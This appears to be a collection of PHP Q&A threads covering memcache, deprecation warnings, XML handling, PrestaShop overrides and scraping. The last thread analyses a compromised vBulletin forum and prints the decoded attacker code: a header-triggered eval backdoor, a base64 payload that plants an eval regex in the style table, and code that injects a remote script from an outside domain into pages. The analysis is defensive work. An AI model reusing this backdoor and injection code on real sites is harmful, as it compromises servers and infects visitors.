I have a PHP method which retrieves data either from memcache, or from the database if it is not yet available there.
Sometimes the data must be loaded from the DB to update the memcache, for example if something changes.
public function get_likes_per_user($u_id, $force_db = false) {
if ($this->memcache) {
$u_id = intval($u_id);
$key = 'liked_news_' . $u_id;
$res = $this->memcache->get($key);
if ($res != '') {
$res = unserialize($res);
}
// This line causes a syntax error for no obvious reason
if(!is_array($res) || $force_db){
$res = array();
$sql = "...";
$uu_query = $this->datenbank->query_result($sql);
while ($row = $uu_query->fetch_row()) {
$res[] = $row['uu_id'];
}
$this->memcache->set($key, serialize($res), 0, 3600);
}
return $res;
} else {
throw new Exception("Kein Memcache Objekt!");
}
}
For some reason I don't understand php decides to throw a syntax error for the if statement which decides whether or not to reload the data from the DB.
I tried different notations for this statement but I can't figure out what causes the error.
Did anyone encounter something similar?
PHP Version 5.4
UPDATE:
I've found the cause of the error. I am working on a mac and to write a pipe charakter you have to press alt+7. If you press alt+spacebar mac OS X will insert a non-breaking space, which is invalid for PHP. So my mistake was to keep alt pressed after typing the two pipes for the OR statement.
Related
I get this warning in a chunk of instructions PHP 8+ dedicated to the check of the user inside the page:
if ($_POST['go'] ?? null) {
// $_SESSION_VALUES is an array $db, $nick are classes of mine
$_SESSION_VALUES = $nick->get_cookie (COOKIE_NAME); // get the name of the cookie
if ($db->check_user (USERS_TABLE, $_POST['nick'], $db->encode_password($_POST['password']))) {
$_SESSION_VALUES['_USERNAME'] = $db->user_rec['nick']; // get the nickname from the cookie
$_SESSION_VALUES['_PASSWORD'] = $db->user_rec['password']; //get the password
$_SESSION_VALUES['_USER'] = $db->user_type;
if (! $nick->set_cookie (COOKIE_NAME, $_SESSION_VALUES)) die ('Cannot write the cookie'); // record the cookie
header('Location: ./copertina'); }
else $_SESSION_VALUES['_USER'] = -1;
}
The execution of
else $_SESSION_VALUES['_USER'] = -1;
gives "Automatic conversion of false to array is deprecated"
Following a suggestion from stack overflow I tryed this:
$\_SESSION_VALUES = \[\];
if ($\_POST\['go'\] ?? null) {
...
but apparently it doesn't work
any idea?
Thanks
I assume that $nick->get_cookie(COOKIE_NAME); returns false.
Try changing:
else $_SESSION_VALUES['_USER'] = -1;
to:
else $_SESSION_VALUES = ['_USER' => -1];
This will probably get rid of the error message you reported, but I don't know if the rest of your code, which I cannot see, will accept this.
I am developing a PHP script that allows me to modify tags in an XML file and move them once done.
My script works correctly but I would like to add error handling: So that if the result of my SQL query does not return anything display an error message or better, send a mail, and not move the file with the error and move to the next.
I did some tests but the code never displays the error and it moves the file anyway.
Can someone help me to understand why? Thanks
<?php
}
}
$xml->formatOutput = true;
$xml->save($source_file);
rename($source_file,$destination_file);
}
}
closedir($dir);
?>
Give this one a try
$result = odbc_fetch_array($exec);
if ($result === false || $result['GEAN'] === null) {
echo "GEAN not found for $SKU_CODE";
// continue;
}
$barcode = (string) $result['GEAN'];
echo $barcode; echo "<br>"; //9353970875729
$node->getElementsByTagName("SKU")->item(0)->nodeValue = "";
$node->getElementsByTagName("SKU")->item(0)->appendChild($xml->createTextNode($result[GEAN]));
I'm having this error "Property Order->id_customer is empty" occur only when orders are inputted and submitted via the Selenium chromedriver. I'm running PrestaShop 1.6 and I do not get this error when I enter the same order details manually.
I don't think it's an issue with the actual selenium script, but possibly with the webdriver; I thought it could due to missing data in a cookie or not actually selecting fields but when I inspected the packet from the form submission nothing was missing when compared to the manual entry.
I've also emptied the prestashop cache and deleted all the browser data from chrome in case it was due to cached data but no such luck.
I did override multiple files related to the order submission to accommodate some project requirements, specifically PaymentModule, Order, & AdminOrdersController but I don't know how that could be the issue if the manual entry works fine. I've been debugging anyway since I've been grasping for ideas and so in case it's actually due to my override I've been trying to debug variables in them but keep running into issues; I can't actually output the variables, I tried looking at PrestaShop Logs (Dev_mode is on), echoing, var_dumping, using PrestaShop's p(), and saving to file but no data comes out.
I could really use a direct solution but I at least need some new ideas for debugging.
EDIT: Here are the overridden files.
PaymentModules.php:
$order_list = array();
$order_detail_list = array();
do {
//changed from generateReference()
$reference = Order::generateReferenceOrderID($extra_vars[0]);
} while (Order::getByReference($reference)->count());
$this->currentOrderReference = $reference;
Order.php:
Class Order extends OrderCore
{
//needed to abide by project requirements prefix system.
public static function generateReference(){
$id_shop = Context::getContext()->shop->id;
$ref_store = "ABCD";
if($id_shop == 1){
$ref_store = "TCPR";
}
else if ($id_shop == 2){
$ref_store = "LOER";
}
else if ($id_shop == 3){
$ref_store = "TCPW";
}
$AUTO_INCREMENT = Db::getInstance()->getValue("
SELECT `AUTO_INCREMENT`
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'ts'
AND TABLE_NAME = 'orders'");
$last_id = Db::getInstance()->getValue("
SELECT MAX(id_order)
FROM '._DB_PREFIX_.'orders");
if($last_id < $AUTO_INCREMENT){
$last_id = $AUTO_INCREMENT - 1;
}
$result = $ref_store . str_pad((int)$last_id + 1, 5, '00000', STR_PAD_LEFT);
return $result;
}
public static function generateReferenceOrderID($order_id){
$ref_store = "SQSP";
$result = $ref_store . str_pad((int)$order_id, 5, '00000', STR_PAD_LEFT);
return $result;
}
}
AdminOrdersController.php:
$employee = new Employee((int)Context::getContext()->cookie->id_employee);
//passing order message into extra_vars for use in PaymentModule
$payment_module->validateOrder(
(int)$cart->id, (int)$id_order_state,
$cart->getOrderTotal(true, Cart::BOTH),
$payment_module->displayName,
$this->l('Manual order -- Employee:').' '.
substr($employee->firstname, 0, 1).'. '.$employee->lastname,
array(Tools::getValue('order_message')), null, false,
$cart->secure_key);
I have some code to get some public available data that i am fetching from a website
//Array of params
foreach($params as $par){
$html = file_get_html('WEBSITE.COM/$par');
$name = $html->find('div[class=name]');
$link = $html->find('div[class=secondName]');
foreach($link as $i => $result2)
{
$var = $name[$i]->plaintext;
echo $result2->href,"<br>";
//Insert to database
}
}
So it goes to the given website with a different parameter in the URL each time on the loop, i keep getting errors that breaks the script when a 404 comes up or a server temporarily unavailable. I have tried code to check the headers and check if the $html is an object first but i still get the errors, is there a way i can just skip the errors and leave them out and carry on with the script?
Code i have tried to checked headers
function url_exists($url){
if ((strpos($url, "http")) === false) $url = "http://" . $url;
$headers = #get_headers($url);
//print_r($headers);
if (is_array($headers)){
//Check for http error here....should add checks for other errors too...
if(strpos($headers[0], '404 Not Found'))
return false;
else
return true;
}
else
return false;
}
Code i have tried to check if object
if (method_exists($html,"find")) {
// then check if the html element exists to avoid trying to parse non-html
if ($html->find('html')) {
// and only then start searching (and manipulating) the dom
You need to be more specific, what kind of errors are you getting? Which line errors out?
Edit: Since you did specify the errors you're getting, here's what to do:
I've noticed you're using SINGLE quotes with a string that contains variables. This won't work, use double quotes instead, i.e.:
$html = file_get_html("WEBSITE.COM/$par");
Perhaps this is the issue?
Also, you could use file_get_contents()
if (file_get_contents("WEBSITE.COM/$par") !== false) {
...
}
I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:
http://pastebin.com/b6WdZtfK
I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.
Any idea?
A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.
A simple command line example would be:
PHP Page:
print_r($_SERVER);
Then on command line:
curl --header "SOVIET: 123" localhost
You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.
In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==).
Unencoded, it turns into:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
#iai();
It's worth noting that query there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check your style table, as that's one way/the way code is exposed to the user.
Renaming your style table to something else would likely mitigate the effects of this attack for now.
In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and #is_writable($file_d) and (($size_f = #filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.
It also hides it's behaviour from search engines, which is nice of it.
The bad bit for users is likely:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.
I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.
The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
that basically when eval'd through the faq.php script, gets decoded to:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
#eval(base64_decode($_SERVER['HTTP_SOVIET']));
}
You may find the affected vBulletin phrases by issuing a SQL query like so
SELECT varname, text FROM `phrase` where text like '%chr(%';
Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.